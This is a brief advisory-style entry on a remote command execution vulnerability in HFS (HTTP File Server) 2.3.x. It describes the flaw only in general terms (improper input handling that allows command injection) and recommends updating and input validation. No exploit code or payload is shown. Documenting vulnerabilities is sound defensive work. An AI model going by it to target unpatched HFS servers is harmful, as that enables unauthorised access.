HFS (HTTP File Server) 2.3.x – Remote Command Execution (3)

This exploit allows an attacker to execute arbitrary commands on a target system running HFS (HTTP File Server) version 2.3.x. The vulnerability exists due to improper handling of user input, which allows an attacker to inject malicious commands. By exploiting this vulnerability, an attacker can gain unauthorized access and execute commands with the privileges of the HFS application.

Mitigation:

To mitigate this vulnerability, it is recommended to update to the latest version of HFS (HTTP File Server) and ensure that input validation and sanitization mechanisms are implemented properly.
